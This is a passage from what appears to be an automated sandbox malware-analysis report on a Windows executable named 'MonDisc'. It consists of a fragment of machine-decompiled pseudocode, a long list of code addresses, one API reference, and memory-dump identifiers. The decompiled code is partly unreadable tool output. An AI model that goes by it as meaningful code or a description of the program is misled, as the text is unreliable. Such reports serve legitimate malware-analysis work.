				_t1297 = bpl - 0x52;
				if (_t1297 >= 0) goto 0xed0f9bfd;
				_t972 = E00007FF67FF6ED184484(_t1300);
				if (_t1297 >= 0) goto 0xed0f9b3a;
				if (((_t972 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x16 < 0) goto 0xed0f9bc8;
				sil = 0x59;
				E00007FF67FF6ED184484(_t1300);
				goto 0xed0f9b9a;
				if (sil - 0x66 >= 0) goto 0xed0f9baa;
				dil = 0x28;
				asm("adc eax, [eax-0x80]");
				goto [far dword [rdx];
			}

0x7ff6ed0f82ab
0x7ff6ed0f82b1
0x7ff6ed0f82b8
0x7ff6ed0f82c3
0x7ff6ed0f82c5
0x7ff6ed0f82ce
0x7ff6ed0f82d2
0x7ff6ed0f82d6
0x7ff6ed0f82da
0x7ff6ed0f82dc
0x7ff6ed0f82e2
0x7ff6ed0f82ea
0x7ff6ed0f82f1
0x7ff6ed0f82fa
0x7ff6ed0f82fd
0x7ff6ed0f8301
0x7ff6ed0f8307
0x7ff6ed0f830e
0x7ff6ed0f831f
0x7ff6ed0f8326
0x7ff6ed0f8328
0x7ff6ed0f8333
0x7ff6ed0f8335
0x7ff6ed0f833b
0x7ff6ed0f8340
0x7ff6ed0f8342
0x7ff6ed0f8345
0x7ff6ed0f8347
0x7ff6ed0f834b
0x7ff6ed0f834d
0x7ff6ed0f8354
0x7ff6ed0f835a
0x7ff6ed0f8364
0x7ff6ed0f836d
0x7ff6ed0f8370
0x7ff6ed0f8372
0x7ff6ed0f837e
0x7ff6ed0f8392
0x7ff6ed0f8395
0x7ff6ed0f839b
0x7ff6ed0f83a1
0x7ff6ed0f83a5
0x7ff6ed0f83ab
0x7ff6ed0f83b2
0x7ff6ed0f83bb
0x7ff6ed0f83be
0x7ff6ed0f83c0
0x7ff6ed0f83c7
0x7ff6ed0f83d2
0x7ff6ed0f83d8
0x7ff6ed0f83de
0x7ff6ed0f83e5
0x7ff6ed0f83ee
0x7ff6ed0f83f6
0x7ff6ed0f83fa
0x7ff6ed0f83fe
0x7ff6ed0f8402
0x7ff6ed0f8406
0x7ff6ed0f840c
0x7ff6ed0f8413
0x7ff6ed0f841c
0x7ff6ed0f8422
0x7ff6ed0f8426
0x7ff6ed0f842d
0x7ff6ed0f8433
0x7ff6ed0f843b
0x7ff6ed0f8446
0x7ff6ed0f844b
0x7ff6ed0f844e
0x7ff6ed0f8457
0x7ff6ed0f8463
0x7ff6ed0f8469
0x7ff6ed0f846c
0x7ff6ed0f846e
0x7ff6ed0f8473
0x7ff6ed0f8479
0x7ff6ed0f8482
0x7ff6ed0f848b
0x7ff6ed0f848e
0x7ff6ed0f8490
0x7ff6ed0f8496
0x7ff6ed0f849e
0x7ff6ed0f84a9
0x7ff6ed0f84ac
0x7ff6ed0f84ae
0x7ff6ed0f84b6
0x7ff6ed0f84bf
0x7ff6ed0f84c7
0x7ff6ed0f84d8
0x7ff6ed0f84e0
0x7ff6ed0f84e6
0x7ff6ed0f84ee
0x7ff6ed0f84f4
0x7ff6ed0f84ff
0x7ff6ed0f8507
0x7ff6ed0f8510
0x7ff6ed0f8516
0x7ff6ed0f8522
0x7ff6ed0f8528
0x7ff6ed0f852a
0x7ff6ed0f852c
0x7ff6ed0f8532
0x7ff6ed0f853a
0x7ff6ed0f8543
0x7ff6ed0f854b
0x7ff6ed0f854f
0x7ff6ed0f8553
0x7ff6ed0f8557
0x7ff6ed0f8559
0x7ff6ed0f8561
0x7ff6ed0f856a
0x7ff6ed0f856d
0x7ff6ed0f856f
0x7ff6ed0f8577
0x7ff6ed0f8582
0x7ff6ed0f8588
0x7ff6ed0f858e
0x7ff6ed0f8594
0x7ff6ed0f859c
0x7ff6ed0f85a5
0x7ff6ed0f85ab
0x7ff6ed0f85af
0x7ff6ed0f85b6
0x7ff6ed0f85bc
0x7ff6ed0f85be
0x7ff6ed0f85c6
0x7ff6ed0f85d2
0x7ff6ed0f85d4
0x7ff6ed0f85d7
0x7ff6ed0f85e1
0x7ff6ed0f85e4
0x7ff6ed0f85ea
0x7ff6ed0f85ee
0x7ff6ed0f85f0
0x7ff6ed0f85f8
0x7ff6ed0f8603
0x7ff6ed0f8609
0x7ff6ed0f860f
0x7ff6ed0f8617
0x7ff6ed0f8620
0x7ff6ed0f8628
0x7ff6ed0f862e
0x7ff6ed0f8632
0x7ff6ed0f8636
0x7ff6ed0f863a
0x7ff6ed0f863c
0x7ff6ed0f8643
0x7ff6ed0f864f
0x7ff6ed0f8658
0x7ff6ed0f865e
0x7ff6ed0f8662
0x7ff6ed0f8669
0x7ff6ed0f866f
0x7ff6ed0f8674
0x7ff6ed0f867e
0x7ff6ed0f8687
0x7ff6ed0f868a
0x7ff6ed0f868c
0x7ff6ed0f8696
0x7ff6ed0f8698
0x7ff6ed0f869b
0x7ff6ed0f86a7
0x7ff6ed0f86b0
0x7ff6ed0f86b8
0x7ff6ed0f86ba
0x7ff6ed0f86be
0x7ff6ed0f86c0
0x7ff6ed0f86c7
0x7ff6ed0f86cd
0x7ff6ed0f86d4
0x7ff6ed0f86dd
0x7ff6ed0f86e1
0x7ff6ed0f86e5
0x7ff6ed0f86e9
0x7ff6ed0f86eb
0x7ff6ed0f86f2
0x7ff6ed0f86fd
0x7ff6ed0f8703
0x7ff6ed0f8709
0x7ff6ed0f8710
0x7ff6ed0f8719
0x7ff6ed0f871c
0x7ff6ed0f871e
0x7ff6ed0f8724
0x7ff6ed0f872b
0x7ff6ed0f8736
0x7ff6ed0f873c
0x7ff6ed0f8742
0x7ff6ed0f8748
0x7ff6ed0f8750
0x7ff6ed0f8756
0x7ff6ed0f8759
0x7ff6ed0f8760
0x7ff6ed0f8769
0x7ff6ed0f8771
0x7ff6ed0f8773
0x7ff6ed0f8777
0x7ff6ed0f8779
0x7ff6ed0f8780
0x7ff6ed0f8786
0x7ff6ed0f878d
0x7ff6ed0f8796
0x7ff6ed0f879a
0x7ff6ed0f879e
0x7ff6ed0f87a2
0x7ff6ed0f87a4
0x7ff6ed0f87a6
0x7ff6ed0f87ad
0x7ff6ed0f87b6
0x7ff6ed0f87c3
0x7ff6ed0f87c7
0x7ff6ed0f87cb
0x7ff6ed0f87cf
0x7ff6ed0f87d5
0x7ff6ed0f87db
0x7ff6ed0f87e2
0x7ff6ed0f87ee
0x7ff6ed0f87f7
0x7ff6ed0f87fd
0x7ff6ed0f8800
0x7ff6ed0f8802
0x7ff6ed0f8809
0x7ff6ed0f8814
0x7ff6ed0f881a
0x7ff6ed0f8820
0x7ff6ed0f8825
0x7ff6ed0f882c
0x7ff6ed0f8835
0x7ff6ed0f8838
0x7ff6ed0f883a
0x7ff6ed0f8841
0x7ff6ed0f884a
0x7ff6ed0f884c
0x7ff6ed0f884e
0x7ff6ed0f8854
0x7ff6ed0f885b
0x7ff6ed0f8866
0x7ff6ed0f886b
0x7ff6ed0f8871
0x7ff6ed0f8878
0x7ff6ed0f8886
0x7ff6ed0f8888
0x7ff6ed0f888f
0x7ff6ed0f8898
0x7ff6ed0f889b
0x7ff6ed0f88a1
0x7ff6ed0f88a7
0x7ff6ed0f88ae
0x7ff6ed0f88b9
0x7ff6ed0f88bf
0x7ff6ed0f88c5
0x7ff6ed0f88ca
0x7ff6ed0f88d1
0x7ff6ed0f88da
0x7ff6ed0f88de
0x7ff6ed0f88e2
0x7ff6ed0f88e6
0x7ff6ed0f88e8
0x7ff6ed0f88ec
0x7ff6ed0f88f0
0x7ff6ed0f88f6
0x7ff6ed0f88f9
0x7ff6ed0f8900
0x7ff6ed0f8906
0x7ff6ed0f890d
0x7ff6ed0f8916
0x7ff6ed0f891a
0x7ff6ed0f891e
0x7ff6ed0f8926
0x7ff6ed0f8928
0x7ff6ed0f892c
0x7ff6ed0f892e
0x7ff6ed0f8936
0x7ff6ed0f8939
0x7ff6ed0f8940
0x7ff6ed0f8949
0x7ff6ed0f894d
0x7ff6ed0f8951
0x7ff6ed0f8958
0x7ff6ed0f8961
0x7ff6ed0f8967
0x7ff6ed0f896b
0x7ff6ed0f8972
0x7ff6ed0f897c
0x7ff6ed0f897f
0x7ff6ed0f8989
0x7ff6ed0f898d
0x7ff6ed0f899a
0x7ff6ed0f89a3
0x7ff6ed0f89ac
0x7ff6ed0f89b5
0x7ff6ed0f89b7
0x7ff6ed0f89c4
0x7ff6ed0f89ca
0x7ff6ed0f89cd
0x7ff6ed0f89cf
0x7ff6ed0f89d9
0x7ff6ed0f89e0
0x7ff6ed0f89ec
0x7ff6ed0f89f5
0x7ff6ed0f89fb
0x7ff6ed0f89fe
0x7ff6ed0f8a00
0x7ff6ed0f8a07
0x7ff6ed0f8a12
0x7ff6ed0f8a18
0x7ff6ed0f8a20
0x7ff6ed0f8a26
0x7ff6ed0f8a2c
0x7ff6ed0f8a33
0x7ff6ed0f8a3c
0x7ff6ed0f8a44
0x7ff6ed0f8a48
0x7ff6ed0f8a4c
0x7ff6ed0f8a50
0x7ff6ed0f8a52
0x7ff6ed0f8a59
0x7ff6ed0f8a62
0x7ff6ed0f8a68
0x7ff6ed0f8a6c
0x7ff6ed0f8a73
0x7ff6ed0f8a7b
0x7ff6ed0f8a83
0x7ff6ed0f8a8c
0x7ff6ed0f8a8e
0x7ff6ed0f8a91
0x7ff6ed0f8a94
0x7ff6ed0f8a9e
0x7ff6ed0f8aa1
0x7ff6ed0f8aab
0x7ff6ed0f8aad
0x7ff6ed0f8ab3
0x7ff6ed0f8ab6
0x7ff6ed0f8ab9
0x7ff6ed0f8abb
0x7ff6ed0f8abf
0x7ff6ed0f8ac1
0x7ff6ed0f8ac8
0x7ff6ed0f8ace
0x7ff6ed0f8ad8
0x7ff6ed0f8ae4
0x7ff6ed0f8ae6
0x7ff6ed0f8aed
0x7ff6ed0f8af3
0x7ff6ed0f8af7
0x7ff6ed0f8afe
0x7ff6ed0f8b04
0x7ff6ed0f8b10
0x7ff6ed0f8b19
0x7ff6ed0f8b1c
0x7ff6ed0f8b1e
0x7ff6ed0f8b25
0x7ff6ed0f8b2e
0x7ff6ed0f8b36
0x7ff6ed0f8b3a
0x7ff6ed0f8b3e
0x7ff6ed0f8b42
0x7ff6ed0f8b44
0x7ff6ed0f8b4b
0x7ff6ed0f8b54
0x7ff6ed0f8b5a
0x7ff6ed0f8b5e
0x7ff6ed0f8b65
0x7ff6ed0f8b6b
0x7ff6ed0f8b72
0x7ff6ed0f8b7d
0x7ff6ed0f8b83
0x7ff6ed0f8b89
0x7ff6ed0f8b8c
0x7ff6ed0f8b96
0x7ff6ed0f8b9f
0x7ff6ed0f8ba2
0x7ff6ed0f8ba4
0x7ff6ed0f8bae
0x7ff6ed0f8bbc
0x7ff6ed0f8bbe
0x7ff6ed0f8bc8
0x7ff6ed0f8bd1
0x7ff6ed0f8bd4
0x7ff6ed0f8bd6
0x7ff6ed0f8be0
0x7ff6ed0f8bf1
0x7ff6ed0f8bfb
0x7ff6ed0f8bfe
0x7ff6ed0f8c04
0x7ff6ed0f8c08
0x7ff6ed0f8c0c
0x7ff6ed0f8c12
0x7ff6ed0f8c1c
0x7ff6ed0f8c2a
0x7ff6ed0f8c2c
0x7ff6ed0f8c2e
0x7ff6ed0f8c38
0x7ff6ed0f8c48
0x7ff6ed0f8c4a
0x7ff6ed0f8c54
0x7ff6ed0f8c60
0x7ff6ed0f8c62
0x7ff6ed0f8c65
0x7ff6ed0f8c6f
0x7ff6ed0f8c72
0x7ff6ed0f8c78
0x7ff6ed0f8c7c
0x7ff6ed0f8c7e
0x7ff6ed0f8c88
0x7ff6ed0f8c93
0x7ff6ed0f8c99
0x7ff6ed0f8c9f
0x7ff6ed0f8cab
0x7ff6ed0f8cb5
0x7ff6ed0f8cbd
0x7ff6ed0f8cc3
0x7ff6ed0f8ccd
0x7ff6ed0f8cdb
0x7ff6ed0f8cdd
0x7ff6ed0f8cdf
0x7ff6ed0f8ce9
0x7ff6ed0f8cf4
0x7ff6ed0f8cf9
0x7ff6ed0f8cff
0x7ff6ed0f8d02
0x7ff6ed0f8d0c
0x7ff6ed0f8d15
0x7ff6ed0f8d18
0x7ff6ed0f8d1a
0x7ff6ed0f8d24
0x7ff6ed0f8d35
0x7ff6ed0f8d3f
0x7ff6ed0f8d42
0x7ff6ed0f8d48
0x7ff6ed0f8d4c
0x7ff6ed0f8d4e
0x7ff6ed0f8d54
0x7ff6ed0f8d5a
0x7ff6ed0f8d60
0x7ff6ed0f8d66
0x7ff6ed0f8d6c
0x7ff6ed0f8d72
0x7ff6ed0f8d7e
0x7ff6ed0f8d87
0x7ff6ed0f8d8a
0x7ff6ed0f8d8c
0x7ff6ed0f8d93
0x7ff6ed0f8d9e
0x7ff6ed0f8da4
0x7ff6ed0f8daa
0x7ff6ed0f8dac
0x7ff6ed0f8db2
0x7ff6ed0f8db9
0x7ff6ed0f8dc2
0x7ff6ed0f8dc4
0x7ff6ed0f8dc6
0x7ff6ed0f8dcd
0x7ff6ed0f8dd8
0x7ff6ed0f8ddd
0x7ff6ed0f8de3
0x7ff6ed0f8deb
0x7ff6ed0f8dee
0x7ff6ed0f8df5
0x7ff6ed0f8dfb
0x7ff6ed0f8e05
0x7ff6ed0f8e0e
0x7ff6ed0f8e12
0x7ff6ed0f8e16
0x7ff6ed0f8e1a
0x7ff6ed0f8e1c
0x7ff6ed0f8e1f
0x7ff6ed0f8e21
0x7ff6ed0f8e27
0x7ff6ed0f8e31
0x7ff6ed0f8e34
0x7ff6ed0f8e3b
0x7ff6ed0f8e41
0x7ff6ed0f8e4b
0x7ff6ed0f8e57
0x7ff6ed0f8e59
0x7ff6ed0f8e5d
0x7ff6ed0f8e5f
0x7ff6ed0f8e6b
0x7ff6ed0f8e74
0x7ff6ed0f8e7c
0x7ff6ed0f8e80
0x7ff6ed0f8e84
0x7ff6ed0f8e88
0x7ff6ed0f8e8a
0x7ff6ed0f8e8c
0x7ff6ed0f8e92
0x7ff6ed0f8e94
0x7ff6ed0f8e9b
0x7ff6ed0f8ea2
0x7ff6ed0f8ea4
0x7ff6ed0f8ea8
0x7ff6ed0f8eac
0x7ff6ed0f8eb0
0x7ff6ed0f8eb2
0x7ff6ed0f8eb6
0x7ff6ed0f8eba
0x7ff6ed0f8ec0
0x7ff6ed0f8ec6
0x7ff6ed0f8ecd
0x7ff6ed0f8ed8
0x7ff6ed0f8eda
0x7ff6ed0f8edd
0x7ff6ed0f8ee0
0x7ff6ed0f8eea
0x7ff6ed0f8eed
0x7ff6ed0f8ef6
0x7ff6ed0f8efc
0x7ff6ed0f8eff
0x7ff6ed0f8f05
0x7ff6ed0f8f09
0x7ff6ed0f8f0b
0x7ff6ed0f8f10
0x7ff6ed0f8f19
0x7ff6ed0f8f2a
0x7ff6ed0f8f2f
0x7ff6ed0f8f34
0x7ff6ed0f8f39
0x7ff6ed0f8f3d
0x7ff6ed0f8f3e
0x7ff6ed0f8f42
0x7ff6ed0f8f45
0x7ff6ed0f8f47
0x7ff6ed0f8f4f
0x7ff6ed0f8f58
0x7ff6ed0f8f60
0x7ff6ed0f8f64
0x7ff6ed0f8f68
0x7ff6ed0f8f6c
0x7ff6ed0f8f6e
0x7ff6ed0f8f76
0x7ff6ed0f8f7f
0x7ff6ed0f8f85
0x7ff6ed0f8f89
0x7ff6ed0f8f90
0x7ff6ed0f8f96
0x7ff6ed0f8f9a
0x7ff6ed0f8fa0
0x7ff6ed0f8fa6
0x7ff6ed0f8fae
0x7ff6ed0f8fb9
0x7ff6ed0f8fbf
0x7ff6ed0f8fc5
0x7ff6ed0f8fc8
0x7ff6ed0f8fd0
0x7ff6ed0f8fd9
0x7ff6ed0f8fdc
0x7ff6ed0f8fde
0x7ff6ed0f8fe6
0x7ff6ed0f8ff7
0x7ff6ed0f9001
0x7ff6ed0f9004
0x7ff6ed0f900a
0x7ff6ed0f900e
0x7ff6ed0f9012
0x7ff6ed0f901a
0x7ff6ed0f9020
0x7ff6ed0f9023
0x7ff6ed0f902b
0x7ff6ed0f9034
0x7ff6ed0f903c
0x7ff6ed0f904c
0x7ff6ed0f9053
0x7ff6ed0f9059
0x7ff6ed0f9063
0x7ff6ed0f9065
0x7ff6ed0f9072
0x7ff6ed0f9078
0x7ff6ed0f907b
0x7ff6ed0f907d
0x7ff6ed0f9080
0x7ff6ed0f9087
0x7ff6ed0f908d
0x7ff6ed0f9095
0x7ff6ed0f909e
0x7ff6ed0f90a2
0x7ff6ed0f90a6
0x7ff6ed0f90ae
0x7ff6ed0f90b4
0x7ff6ed0f90b8
0x7ff6ed0f90c2
0x7ff6ed0f90c5
0x7ff6ed0f90cb
0x7ff6ed0f90cf
0x7ff6ed0f90d1
0x7ff6ed0f90d6
0x7ff6ed0f90df
0x7ff6ed0f90e8
0x7ff6ed0f90eb
0x7ff6ed0f90ed
0x7ff6ed0f90f5
0x7ff6ed0f9100
0x7ff6ed0f9106
0x7ff6ed0f910c
0x7ff6ed0f9110
0x7ff6ed0f9116
0x7ff6ed0f9120
0x7ff6ed0f9128
0x7ff6ed0f912b
0x7ff6ed0f9132
0x7ff6ed0f9138
0x7ff6ed0f9140
0x7ff6ed0f9149
0x7ff6ed0f914d
0x7ff6ed0f9151
0x7ff6ed0f9155
0x7ff6ed0f9157
0x7ff6ed0f915d
0x7ff6ed0f915f
0x7ff6ed0f916c
0x7ff6ed0f9172
0x7ff6ed0f9175
0x7ff6ed0f9177
0x7ff6ed0f917a
0x7ff6ed0f9181
0x7ff6ed0f9187
0x7ff6ed0f918f
0x7ff6ed0f919b
0x7ff6ed0f91a1
0x7ff6ed0f91a5
0x7ff6ed0f91ab
0x7ff6ed0f91ca
0x7ff6ed0f91d0
0x7ff6ed0f91da
0x7ff6ed0f91e0
0x7ff6ed0f91e5
0x7ff6ed0f91f6
0x7ff6ed0f91fc
0x7ff6ed0f91ff
0x7ff6ed0f9201
0x7ff6ed0f9207
0x7ff6ed0f920d
0x7ff6ed0f9215
0x7ff6ed0f921e
0x7ff6ed0f9221
0x7ff6ed0f9223
0x7ff6ed0f922b
0x7ff6ed0f9236
0x7ff6ed0f923c
0x7ff6ed0f9242
0x7ff6ed0f9248
0x7ff6ed0f9250
0x7ff6ed0f9259
0x7ff6ed0f925c
0x7ff6ed0f925e
0x7ff6ed0f9266
0x7ff6ed0f9271
0x7ff6ed0f9277
0x7ff6ed0f927d
0x7ff6ed0f9285
0x7ff6ed0f928e
0x7ff6ed0f9291
0x7ff6ed0f9293
0x7ff6ed0f929b
0x7ff6ed0f92a6
0x7ff6ed0f92ac
0x7ff6ed0f92b2
0x7ff6ed0f92ba
0x7ff6ed0f92c3
0x7ff6ed0f92c6
0x7ff6ed0f92c8
0x7ff6ed0f92ce
0x7ff6ed0f92d6
0x7ff6ed0f92e1
0x7ff6ed0f92e7
0x7ff6ed0f92ed
0x7ff6ed0f92f3
0x7ff6ed0f92fb
0x7ff6ed0f9304
0x7ff6ed0f930c
0x7ff6ed0f930f
0x7ff6ed0f9313
0x7ff6ed0f9317
0x7ff6ed0f931b
0x7ff6ed0f931d
0x7ff6ed0f9327
0x7ff6ed0f9337
0x7ff6ed0f9339
0x7ff6ed0f9341
0x7ff6ed0f9347
0x7ff6ed0f934a
0x7ff6ed0f934c
0x7ff6ed0f9356
0x7ff6ed0f9361
0x7ff6ed0f9366
0x7ff6ed0f936c
0x7ff6ed0f9376
0x7ff6ed0f937f
0x7ff6ed0f9385
0x7ff6ed0f9389
0x7ff6ed0f9390
0x7ff6ed0f9396
0x7ff6ed0f93a2
0x7ff6ed0f93a4
0x7ff6ed0f93ad
0x7ff6ed0f93b0
0x7ff6ed0f93b2
0x7ff6ed0f93b8
0x7ff6ed0f93ba
0x7ff6ed0f93c0
0x7ff6ed0f93ca
0x7ff6ed0f93d1
0x7ff6ed0f93e7
0x7ff6ed0f93ef
0x7ff6ed0f93fc
0x7ff6ed0f9405
0x7ff6ed0f940b
0x7ff6ed0f940e
0x7ff6ed0f9418
0x7ff6ed0f941a
0x7ff6ed0f941f
0x7ff6ed0f9429
0x7ff6ed0f942c
0x7ff6ed0f9436
0x7ff6ed0f943f
0x7ff6ed0f9445
0x7ff6ed0f9448
0x7ff6ed0f944a
0x7ff6ed0f9454
0x7ff6ed0f945d
0x7ff6ed0f9465
0x7ff6ed0f946b
0x7ff6ed0f946f
0x7ff6ed0f9473
0x7ff6ed0f9477
0x7ff6ed0f9479
0x7ff6ed0f947d
0x7ff6ed0f947f
0x7ff6ed0f9482
0x7ff6ed0f9489
0x7ff6ed0f948f
0x7ff6ed0f9499
0x7ff6ed0f94a5
0x7ff6ed0f94a7
0x7ff6ed0f94ab
0x7ff6ed0f94ad
0x7ff6ed0f94b4
0x7ff6ed0f94ba
0x7ff6ed0f94c4
0x7ff6ed0f94cd
0x7ff6ed0f94cf
0x7ff6ed0f94d4
0x7ff6ed0f94e2
0x7ff6ed0f94ea
0x7ff6ed0f94f2
0x7ff6ed0f94f6
0x7ff6ed0f94fa
0x7ff6ed0f94fe
0x7ff6ed0f9500
0x7ff6ed0f9506
0x7ff6ed0f950e
0x7ff6ed0f9516
0x7ff6ed0f951c
0x7ff6ed0f9520
0x7ff6ed0f9527
0x7ff6ed0f952d
0x7ff6ed0f952f
0x7ff6ed0f9537
0x7ff6ed0f953f
0x7ff6ed0f9547
0x7ff6ed0f9551
0x7ff6ed0f9557
0x7ff6ed0f955f
0x7ff6ed0f9565
0x7ff6ed0f956d
0x7ff6ed0f9575
0x7ff6ed0f9578
0x7ff6ed0f957a
0x7ff6ed0f9582
0x7ff6ed0f958c
0x7ff6ed0f9592
0x7ff6ed0f9598
0x7ff6ed0f959e
0x7ff6ed0f95a6
0x7ff6ed0f95ac
0x7ff6ed0f95b4
0x7ff6ed0f95ba
0x7ff6ed0f95c0
0x7ff6ed0f95c6
0x7ff6ed0f95ce
0x7ff6ed0f95d6
0x7ff6ed0f95de
0x7ff6ed0f95e2
0x7ff6ed0f95e6
0x7ff6ed0f95ee
0x7ff6ed0f95f6
0x7ff6ed0f95fc
0x7ff6ed0f9600
0x7ff6ed0f9607
0x7ff6ed0f960d
0x7ff6ed0f9613
0x7ff6ed0f961b
0x7ff6ed0f9623
0x7ff6ed0f962b
0x7ff6ed0f962f
0x7ff6ed0f9633
0x7ff6ed0f9637
0x7ff6ed0f9639
0x7ff6ed0f963b
0x7ff6ed0f9643
0x7ff6ed0f964b
0x7ff6ed0f964f
0x7ff6ed0f9653
0x7ff6ed0f9657
0x7ff6ed0f9659
0x7ff6ed0f965d
0x7ff6ed0f9661
0x7ff6ed0f9667
0x7ff6ed0f9669
0x7ff6ed0f9671
0x7ff6ed0f967c
0x7ff6ed0f967e
0x7ff6ed0f9682
0x7ff6ed0f9686
0x7ff6ed0f968c
0x7ff6ed0f9693
0x7ff6ed0f9699
0x7ff6ed0f96a1
0x7ff6ed0f96ac
0x7ff6ed0f96ae
0x7ff6ed0f96b4
0x7ff6ed0f96c1
0x7ff6ed0f96c7
0x7ff6ed0f96ca
0x7ff6ed0f96cc
0x7ff6ed0f96d1
0x7ff6ed0f96dc
0x7ff6ed0f96e4
0x7ff6ed0f96e7
0x7ff6ed0f96ef
0x7ff6ed0f96f5
0x7ff6ed0f96fc
0x7ff6ed0f9706
0x7ff6ed0f970c
0x7ff6ed0f9712
0x7ff6ed0f9718
0x7ff6ed0f971e
0x7ff6ed0f9724
0x7ff6ed0f972b
0x7ff6ed0f9736
0x7ff6ed0f973c
0x7ff6ed0f973f
0x7ff6ed0f9745
0x7ff6ed0f974c
0x7ff6ed0f9752
0x7ff6ed0f9756
0x7ff6ed0f9758
0x7ff6ed0f9764
0x7ff6ed0f976e
0x7ff6ed0f9774
0x7ff6ed0f9779
0x7ff6ed0f9780
0x7ff6ed0f9788
0x7ff6ed0f9790
0x7ff6ed0f9794
0x7ff6ed0f9798
0x7ff6ed0f979c
0x7ff6ed0f97a2
0x7ff6ed0f97a5
0x7ff6ed0f97ab
0x7ff6ed0f97b5
0x7ff6ed0f97bc
0x7ff6ed0f97c2
0x7ff6ed0f97cc
0x7ff6ed0f97d7
0x7ff6ed0f97d9
0x7ff6ed0f97dd
0x7ff6ed0f97df
0x7ff6ed0f97eb
0x7ff6ed0f97f3
0x7ff6ed0f97f9
0x7ff6ed0f97fd
0x7ff6ed0f9804
0x7ff6ed0f980a
0x7ff6ed0f980f
0x7ff6ed0f9816
0x7ff6ed0f981e
0x7ff6ed0f9821
0x7ff6ed0f9823
0x7ff6ed0f982a
0x7ff6ed0f9834
0x7ff6ed0f983a
0x7ff6ed0f9840
0x7ff6ed0f9847
0x7ff6ed0f984f
0x7ff6ed0f9852
0x7ff6ed0f9854
0x7ff6ed0f985a
0x7ff6ed0f9861
0x7ff6ed0f9871
0x7ff6ed0f987e
0x7ff6ed0f9884
0x7ff6ed0f9887
0x7ff6ed0f9889
0x7ff6ed0f9890
0x7ff6ed0f9898
0x7ff6ed0f98a0
0x7ff6ed0f98a4
0x7ff6ed0f98a8
0x7ff6ed0f98ac
0x7ff6ed0f98ae
0x7ff6ed0f98b0
0x7ff6ed0f98b7
0x7ff6ed0f98bf
0x7ff6ed0f98c3
0x7ff6ed0f98c7
0x7ff6ed0f98cb
0x7ff6ed0f98cd
0x7ff6ed0f98d1
0x7ff6ed0f98d5
0x7ff6ed0f98db
0x7ff6ed0f98e2
0x7ff6ed0f98ea
0x7ff6ed0f98f2
0x7ff6ed0f98f6
0x7ff6ed0f98fa
0x7ff6ed0f98fe
0x7ff6ed0f9900
0x7ff6ed0f9906
0x7ff6ed0f990d
0x7ff6ed0f9915
0x7ff6ed0f991b
0x7ff6ed0f991f
0x7ff6ed0f9926
0x7ff6ed0f992c
0x7ff6ed0f9931
0x7ff6ed0f9938
0x7ff6ed0f9940
0x7ff6ed0f9943
0x7ff6ed0f9945
0x7ff6ed0f9948
0x7ff6ed0f994f
0x7ff6ed0f9955
0x7ff6ed0f995f
0x7ff6ed0f996a
0x7ff6ed0f996c
0x7ff6ed0f9970
0x7ff6ed0f9972
0x7ff6ed0f997c
0x7ff6ed0f997e
0x7ff6ed0f9985
0x7ff6ed0f998b
0x7ff6ed0f9992
0x7ff6ed0f999d
0x7ff6ed0f999f
0x7ff6ed0f99a3
0x7ff6ed0f99a5
0x7ff6ed0f99af
0x7ff6ed0f99b6
0x7ff6ed0f99c0
0x7ff6ed0f99c6
0x7ff6ed0f99cc
0x7ff6ed0f99d6
0x7ff6ed0f99dc
0x7ff6ed0f99e2
0x7ff6ed0f99e8
0x7ff6ed0f99ee
0x7ff6ed0f99f5
0x7ff6ed0f99fd
0x7ff6ed0f9a00
0x7ff6ed0f9a04
0x7ff6ed0f9a0a
0x7ff6ed0f9a11
0x7ff6ed0f9a1b
0x7ff6ed0f9a21
0x7ff6ed0f9a27
0x7ff6ed0f9a29
0x7ff6ed0f9a30
0x7ff6ed0f9a38
0x7ff6ed0f9a40
0x7ff6ed0f9a44
0x7ff6ed0f9a48
0x7ff6ed0f9a4c
0x7ff6ed0f9a4e
0x7ff6ed0f9a54
0x7ff6ed0f9a5b
0x7ff6ed0f9a63
0x7ff6ed0f9a69
0x7ff6ed0f9a6d
0x7ff6ed0f9a74
0x7ff6ed0f9a7c
0x7ff6ed0f9a82
0x7ff6ed0f9a85
0x7ff6ed0f9a8f
0x7ff6ed0f9a92
0x7ff6ed0f9a98
0x7ff6ed0f9a9c
0x7ff6ed0f9a9e
0x7ff6ed0f9aa4
0x7ff6ed0f9aaa
0x7ff6ed0f9aaf
0x7ff6ed0f9ab4
0x7ff6ed0f9abc
0x7ff6ed0f9ac4
0x7ff6ed0f9ac8
0x7ff6ed0f9acc
0x7ff6ed0f9ad0
0x7ff6ed0f9ad2
0x7ff6ed0f9adc
0x7ff6ed0f9ae3
0x7ff6ed0f9aeb
0x7ff6ed0f9aef
0x7ff6ed0f9af4
0x7ff6ed0f9af8
0x7ff6ed0f9aff
0x7ff6ed0f9b05
0x7ff6ed0f9b0c
0x7ff6ed0f9b14
0x7ff6ed0f9b1c
0x7ff6ed0f9b21
0x7ff6ed0f9b25
0x7ff6ed0f9b2b
0x7ff6ed0f9b32
0x7ff6ed0f9b3d
0x7ff6ed0f9b43
0x7ff6ed0f9b46
0x7ff6ed0f9b4b
0x7ff6ed0f9b51
0x7ff6ed0f9b53
0x7ff6ed0f9b57
0x7ff6ed0f9b5a

APIs

GetParent.USER32 ref: 00007FF6ED0F82AB

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: Parent
String ID:
API String ID: 975332729-0
Opcode ID: 5abf0f698b70b8af441bf28a934e024baafb8f7a8809d033692b1be2efeb7010
